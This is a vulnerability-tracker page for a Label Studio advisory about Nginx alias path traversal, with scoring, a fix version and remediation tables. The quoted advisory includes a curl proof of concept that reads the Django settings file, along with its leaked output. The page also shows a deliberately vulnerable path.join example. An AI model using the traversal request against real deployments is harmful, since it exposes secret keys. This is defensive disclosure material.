GHSA-cpmr-mw4j-99r7: Nginx alias path traversal allows unauthenticated attackers to read all files on /label_studio/core/
Noroxi assessment
Priority: Monitor (action score 30/100)
- The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
- Anyone who can reach it over the internet can trigger it. No account or password is required. No user action is required. No special conditions are required; it is repeatable.
- Fixed version: label-studio (PyPI) 1.7.2.
Low priority for now. Upgrade to label-studio (PyPI) 1.7.2 or later.
Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it
Primary sources: OSV
### Summary The vulnerability resides on the Nginx config file: https://github.com/heartexlabs/label-studio/blob/53944e6bcede75ca5c102d655013f2e5238e85e6/deploy/default.conf#L119 The pattern on location /static indicates a popular misconfiguration on Nginx servers presented in 2018 originally by Orange Tsai. This vulnerability allows an attacker to use a single path traversal payload in the matched location to traverse one directory above. This vulnerability only happens due to the location /static directive not having a slash `/` at the end, the following code shows an example of a safe configuration: ```nginx location /static/ { [...] ``` The vulnerability works because Nginx will think that `/static../` is a directory that should also be aliased to the folder, allowing /static/../ to be reached. In Label Studio's case, this means all files on /label_studio/core/ are exposed. Of course, this means that only Label Studio instances that were deployed using the default nginx files introducted at Mar 31, 2021. This is a very easy vulnerability to fix, and just a lesser-known configuration mistake on nginx files. It's very easy to happen because all is needed is for one slash to be missing. (Off-By-One) ** Proof-of-Concept (Leaking Secret Keys): ** Exploiting this vulnerability usually depends on what's on the parent folder, in Label Studio's case the most interesting file I could find that's on there by default is /label_studio/core/ . We can fetch it by simply making a request to the traversed folder. ```bash # Production Label Studio docker-compose running on localhost:8080 /t/mydata [127]$ curl localhost:8080/static../settings/label_studio.py """This file and its contents are licensed under the Apache License 2.0. Please see the included NOTICE for copyright information and LICENSE for a copy of the license. """ import os import pathlib from core.settings.base import * DJANGO_DB = get_env('DJANGO_DB', DJANGO_DB_SQLITE) DATABASES = {'default': DATABASES_ALL[DJANGO_DB]} MIDDLEWARE.append('organizations.middleware.DummyGetSessionMiddleware') MIDDLEWARE.append('core.middleware.UpdateLastActivityMiddleware') if INACTIVITY_SESSION_TIMEOUT_ENABLED: MIDDLEWARE.append('core.middleware.InactivitySessionTimeoutMiddleWare') ADD_DEFAULT_ML_BACKENDS = False LOGGING['root']['level'] = get_env('LOG_LEVEL', 'WARNING') DEBUG = get_bool_env('DEBUG', False) DEBUG_PROPAGATE_EXCEPTIONS = get_bool_env('DEBUG_PROPAGATE_EXCEPTIONS', False) SESSION_COOKIE_SECURE = False SESSION_ENGINE = "django.contrib.sessions.backends.signed_cookies" RQ_QUEUES = {} SENTRY_DSN = get_env( 'SENTRY_DSN', 'https://68b045ab408a4d32a910d339be8591a4@o227124.ingest.sentry.io/5820521' ) SENTRY_ENVIRONMENT = get_env('SENTRY_ENVIRONMENT', 'opensource') FRONTEND_SENTRY_DSN = get_env( 'FRONTEND_SENTRY_DSN', 'https://5f51920ff82a4675a495870244869c6b@o227124.ingest.sentry.io/5838868') FRONTEND_SENTRY_ENVIRONMENT = get_env('FRONTEND_SENTRY_ENVIRONMENT', 'opensource') EDITOR_KEYMAP = json.dumps(get_env("EDITOR_KEYMAP")) from label_studio import __version__ from label_studio.core.utils import sentry sentry.init_sentry(release_name='label-studio', release_version=__version__) # we should do it after sentry init from label_studio.core.utils.common import collect_versions versions = collect_versions() # in Label Studio Community version, feature flags are always ON FEATURE_FLAGS_DEFAULT_VALUE = True # or if file is not set, default is using offline mode FEATURE_FLAGS_OFFLINE = get_bool_env('FEATURE_FLAGS_OFFLINE', True) from core.utils.io import find_file FEATURE_FLAGS_FILE = get_env('FEATURE_FLAGS_FILE', 'feature_flags.json') FEATURE_FLAGS_FROM_FILE = True try: from core.utils.io import find_node find_node('label_studio', FEATURE_FLAGS_FILE, 'file') except IOError: FEATURE_FLAGS_FROM_FILE = False STORAGE_PERSISTENCE = get_bool_env('STORAGE_PERSISTENCE', True) ``` ### Impact The impact consists on leaking Django secret keys by default, with also greater risk being possible due to the vulnerability exposing the file located at /label_studio/core/settings/label_studio.py which contains the secret key for Django as well as possibly containing other secrets the user might put there. (If the administrator decides not to use environment variables for some variables)
- Published
- Mar 24, 2023
- Updated
- Sep 2, 2026
- EPSS
- —
- CWE
- CWE-22
Report tools
Action score
30
Low priority for now.
- CVSS
- 30 / 40 · 7.5 / 10
- CISA KEV
- 0 / 30 · Not listed
- EPSS
- 0 / 30 · —
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- Not in KEV: no record of exploitation in the wild
- No public exploit code on record
- A fix has been released
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| Vendor | Product | CPE |
|---|---|---|
| PyPI | label-studio | pkg:pypi/label-studio |
Package-level exposure
OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.
| Ecosystem | Package | Affected range | Fix |
|---|---|---|---|
| PyPI | label-studio | before 1.7.2 | 1.7.2 |
Remediation
Which version to upgrade to
Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.
| Product / package | Fixed version | Source |
|---|---|---|
| PyPI:label-studio | 1.7.2 | Package registry (OSV) |
Exploit status
No known public exploit
No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.
Research context
For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.
Timeline
From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.
No dated events beyond publication.
Patch and commit links
Commit, PR and diff links among the references. A starting point for patch-diffing and variant hunting; fixes, not exploits.
Not on record for this CVE: EPSS history · researcher credit · variant or chain candidate · public bounty program.
Technical details
Attack conditions
- Anyone who can reach it over the internet can trigger it.
- No account or password is required.
- No user action is required.
- No special conditions are required; it is repeatable.
If successful
- Confidentiality
- high · data can be read
- Integrity
- none
- Availability
- none
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality impact
- High
- Integrity impact
- None
- Availability impact
- None
Weakness class (CWE)
CWE-22 · Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
osv
Root cause
A user-supplied file name is joined with the allowed directory, but the result is never checked to confirm it is still inside that directory.
The bug in code
The whole CWE-22 classA representative example of this vulnerability class. Not the vendor's source code; it shows the faulty pattern and its fix.
Vulnerable
const file = path.join(ROOT, req.query.name);
res.sendFile(file);Fixed
const file = path.resolve(ROOT, req.query.name);
if (!file.startsWith(ROOT + path.sep)) {
return res.sendStatus(400);
}
res.sendFile(file);Attack context
MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.
Attack patterns (CAPEC)
- Path TraversalCAPEC-126likelihood: High · Very High
- Using Slashes and URL Encoding Combined to Bypass Validation LogicCAPEC-64likelihood: High · High
- Manipulating Web Input to File System CallsCAPEC-76likelihood: High · Very High
- Using Escaped Slashes in Alternate EncodingCAPEC-78likelihood: High · High
- Using Slashes in Alternate EncodingCAPEC-79likelihood: High · High
ATT&CK techniques
—
Change log (1)
- Fix✗ → ✓
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References
Show all references (3 more)Show less
Vendor advisories and official records. Exploit/PoC links are deliberately left out.